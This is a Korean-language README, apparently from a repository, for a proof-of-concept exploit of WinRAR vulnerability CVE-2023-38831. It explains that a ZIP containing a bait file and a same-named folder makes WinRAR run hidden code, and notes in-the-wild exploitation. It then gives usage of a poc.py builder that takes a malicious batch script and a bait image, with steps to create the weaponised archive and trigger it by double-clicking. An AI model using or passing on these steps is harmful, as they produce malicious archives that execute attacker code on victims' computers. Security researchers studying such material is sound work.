
WinRAR의 CVE-2023-38831 제로데이 취약점에 대한 개념 증명(PoC)
RARLabs WinRAR 6.23 미만은 사용자가 ZIP 아카이브 내의 정상 파일을 보려 할 때 공격자가 임의 코드를 실행할 수 있게 합니다. ZIP 아카이브에는 정상 파일(예: 일반 .JPG 파일)과 해당 정상 파일과 동일한 이름의 폴더가 포함될 수 있고, 정상 파일에만 접근하려는 과정에서 폴더의 내용(실행 가능한 콘텐츠가 포함될 수 있음)이 처리되기 때문에 이 문제가 발생합니다. 이 취약점은 2023년 4월부터 8월까지 실제 공격에서 악용되었습니다.
사용법:
- poc.py [-h] scriptPath benignPath zipDirectory fname
위치 인수:
scriptPath The Filepath of the Malicious script/batch which will be executed
benignPath The Filepath of the Benign file (recommended in '.jpg', '.png' and '.pdf')
zipDirectory The Name of the Directory which will be Created and Zipped
fname The Names of the Folder and File in the Zip (including the file extension)
옵션:
-h, --help show this help message and exit
benign/bait file (e.g. sample.png) 및 malicious script (e.g. script.bat)를 준비합니다.python3 poc.py script.bat sample.PNG PoC sample.png를 실행하여 .zip 익스플로잇을 생성합니다.Benign file (i.e. sample.png)을(를) 더블 클릭합니다.